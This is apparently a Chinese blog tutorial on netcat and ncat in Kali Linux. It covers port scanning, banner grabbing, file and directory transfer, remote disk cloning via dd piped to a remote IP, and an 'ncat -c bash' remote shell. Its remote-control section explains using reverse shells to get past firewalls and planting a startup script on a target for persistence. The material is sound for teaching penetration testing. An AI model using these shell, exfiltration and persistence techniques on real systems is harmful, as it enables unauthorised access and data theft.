kali linux(5)基本工具NETCAT的使用

工具目录

  • 一、Netcat
    • 1.简介
    • 2.基本功能
    • 3.选项参数说明
    • 4.简易使用
      • (1)连接到远程主机
      • (2)监听本地主机
      • (3)端口扫描
      • (4)端口监听
      • (5)连接远程系统
      • (6)FTP匿名探测
      • (7)Telnet/Banner
      • (8)传输文本信息
      • (9)传输文件
      • (10)传输目录
      • (11)加密传文件
      • (12)流媒体服务
      • (13)远程克隆硬盘
      • (14)远程控制
      • (15)NCAT
    • 5.总结

一、Netcat

1.简介

Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能,一句话描述:“你的想象力是局限NC的瓶颈”。

2.基本功能

  • 侦听模式/传输模式
  • (1)telnet/获取系统banner信息
    • :登陆系统后展示出来的类似欢迎信息的我们称之为登陆banner,如登陆ssh时自动显示系统版本信息之类的敏感信息,有些版本会存在一些固有的安全问题,很容易被黑客利用。
    • 隐藏敏感信息的方法
      • 修改/etc/ssh/sshd_config文件添加:banner /etc/ssh_banner
      • 在/etc/motd文件下输入login success. All activity will be monitored and reported
      • 重启sshd服务:service sshd restart
  • (2)传输文本信息
  • (3)传输文件和目录
  • (4)加密传输文件
  • (5)端口扫描
  • (6)远程控制/正反向shell
  • (7)加密所有流量
  • (8)流媒体服务器
  • (9)远程克隆硬盘

3.选项参数说明

语法:nc [-hlnruz][-g<网关…>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v…][-w<超时秒数>][主机名称][通信端口…]

参数

  • -g <网关> 设置路由器跃程通信网关,最多可设置8个
  • -G <指向器数目> 设置来源路由指向器,其数值为4的倍数
  • -h 在线帮助
  • -i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口
  • -l 使用监听模式,管控传入的资料
  • -n 直接使用IP地址,而不通过域名服务器;
  • -o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
  • -p <通信端口> 设置本地主机使用的通信端口;
  • -r 乱数指定本地与远端主机的通信端口;
  • -s <来源位址> 设置本地主机送出数据包的IP地址;
  • -u 使用UDP传输协议;
  • -v 显示指令执行过程;
  • -w <超时秒数> 设置等待连线的时间;
  • -z 使用0输入/输出模式,只在扫描通信端口时使用
  • -q 退出

4.简易使用

(1)连接到远程主机

命令:nc -nv Targert_IP Targert_Port
在这里插入图片描述

(2)监听本地主机

命令:nc -l -p Local_Port
在这里插入图片描述

(3)端口扫描

扫描指定主机的单一端口是否开放
命令:nc -v Target_IP target_Port
在这里插入图片描述
扫描指定主机的某个端口段的端口开放信息
命令:nc -v -z Target_IP Target_Port_Start - Target_Port_End
kali linux(5)基本工具NETCAT的使用_第1张图片

扫描指定主机的某个UDP端口段,并且返回端口信息
命令:nc -v -z -u Target_IP Targer_Port_Start - Target_Port_End
kali linux(5)基本工具NETCAT的使用_第2张图片

扫描指定主机的端口段信息,并且设置超时时间为3秒
命令:nc -vv(v) -z -w time Targer_IP Target_Port_Start - Target_Port_End
kali linux(5)基本工具NETCAT的使用_第3张图片

(4)端口监听

监听本地端口
命令:nc -l -p Local_Port
在这里插入图片描述
在这里插入图片描述kali linux(5)基本工具NETCAT的使用_第4张图片

:先设置监听(不能出现端口冲突),之后如果有外来访问则输出该详细信息到命令行

监听本地端口,并且将监听到的信息保存到指定的文件中
命令:nc -l -p Local_Port > Target_File
开启监听,将内容保存在log.txt中在这里插入图片描述kali linux(5)基本工具NETCAT的使用_第5张图片

(5)连接远程系统

命令:nc Target_IP Target_Port
在这里插入图片描述
之后可以运行HTTP请求

(6)FTP匿名探测

命令:nc Target_IP 21
在这里插入图片描述

(7)Telnet/Banner

kali linux(5)基本工具NETCAT的使用_第6张图片

  • 1.解析163邮箱pop3 IP地址

在这里插入图片描述

kali linux(5)基本工具NETCAT的使用_第7张图片
在pop3中,USER使用base64编码,可以使用base64转换编码

在这里插入图片描述
kali linux(5)基本工具NETCAT的使用_第8张图片

user 识别OK

  • 2.解析163邮箱smtp IP地址
    kali linux(5)基本工具NETCAT的使用_第9张图片
    在这里插入图片描述 kali linux(5)基本工具NETCAT的使用_第10张图片

EHLO 由客户端发送,指示 ESMTP 会话开始。服务器可以在它对 EHLO 的响应中表明自己支持 ESMTP 命令。

输入自己的邮箱地址格式连接到服务器就可以发邮件了

(8)传输文本信息

远程电子取证信息收集

A:打开监听333端口
在这里插入图片描述
确认打开
在这里插入图片描述

B:连接333端口
在这里插入图片描述互相发送信息,可以收到

kali linux(5)基本工具NETCAT的使用_第11张图片

或者

A:
kali linux(5)基本工具NETCAT的使用_第12张图片B:使用管道将ls内容输出
在这里插入图片描述
可以将内容保存在ps.txt文件中
在这里插入图片描述

(9)传输文件

B:
在这里插入图片描述A:
kali linux(5)基本工具NETCAT的使用_第13张图片

(10)传输目录

A:tar -cvf - music/ | nc -lp  333 -q 1
B:nc -nv 172.21.148.7 333 | tar -xvf -

(11)加密传文件

nc本身不具有加密功能

A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > a.mp4
B:mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 172.21.148.7 333 -q 1

:加密传输文件需要使用 mcrypt 库,linux 系统默认是没有安装的,需要手动安装。随后和传输文件类似,只需要在传输文件时使用 mcrypt 加密即可。

–flush:清空,不会在本地保存
mcrypt:加密
rijndael-256-m:算法
ecb:加密方法
-F:输出数据
-b:不保留算法信息
-q:关闭一些非严重的警告
-d:解密

(12)流媒体服务

直播的功能类似于流媒体

A:cat a.mp4 | nc -lp 333
B:nc -nv 172.21.148.7 333 | mplayer -vo x11 -cache 3000 -

B就会播放a.mp4文件

(13)远程克隆硬盘

远程电子取证,可以将目标服务器硬盘远程复制,或者内存。
使用方法需要借助 dd 命令,首先通过 nc 监听一个端口,然后通过 dd 指定要克隆的分区,dd 的 of 参数相当于一个复制功能,然后再另一台机器通过 nc 连接此端口,dd 的 if 参数相当于粘贴的命令。格式如下:

A:nc -lp 333 | dd of = /dev/sda
B:dd if = /dev/sda | nc -nv 172.21.148.7 333 -q 1

(14)远程控制

通常情况下,一般的服务器都会有防火墙,很少会允许其他外在的机器来连接自己的某一个端口,只有某些指定端口可能会允许访问,例如 web 服务的 80 端口。这时正向的 shell 就不不起作用了,而防火墙一般都会禁止外在机器来连接自己机器的其他端口,但自己的机器访问外面的端口一般不会做限制,这时候就可以使用反向 shell,也就是攻击者指定一个端口和 bash,让目标服务器来连接自己,这样就可以写一个脚本放到目标服务器的开机启动中,只要目标服务器运行就会连接自己。当然,有些管理员安全意思比较好的话,也会限制自己的服务器访问外在的一些端口,这种情况很少见,但也有,这时可以指定常用的端口,例如服务器要使用 dns 服务的 53 端口,这时候自己就可以监听 53 让目标服务器来连接自己

正向

A:
在这里插入图片描述B:
kali linux(5)基本工具NETCAT的使用_第14张图片
反向

B:
在这里插入图片描述A:
kali linux(5)基本工具NETCAT的使用_第15张图片

(15)NCAT

  • Nc缺乏加密和身份验证的能力
    1. 明文传输,可能会被嗅探
    2. 对于反向 shell,如果其他人通过网络扫描发现了这个端口,也就意味着任何人都可以去监听这个端口进行连接,缺乏身份验证功能。

  • Ncat包含与nmap工具包中

    1. ncat 不是 linux 系统自带的命令,而是 nmap 中的。ncat 中很多参数和 nc 一样,其中可以通过 --alow 参数来指定允许连接的机器,通过 --ssl 进行数据的加密

       A:ncat ncat -c bash --allow 172.21.148.7 -vnl 333 --ssl
       B:ncat -nv 172.21.148.5 333 --ssl
      
    2. 通过 allow 参数即可指定允许连接的机器,这时如果其他人即使扫描到了这个端口也无法进行连接。

       A:ncat -c bash --allow 172.21.148.12 -vnl 333 --ssl
       B:ncat -nv 172.21.148.7 333 --ssl
      

      客户端 ip 是5,当服务器只允许12时,再连接就会提示失败。

5.总结

nc 小巧功能强大,所以被成为瑞士军刀,不足之处是明文传输,也没有相关的身份验证,而 ncat 在 nc 基础上弥补了其不足,nc 可以做的 ncat 也可以做到,所以 ncat 被成为 21 世纪的瑞士军刀。

你可能感兴趣的:(kali,linux)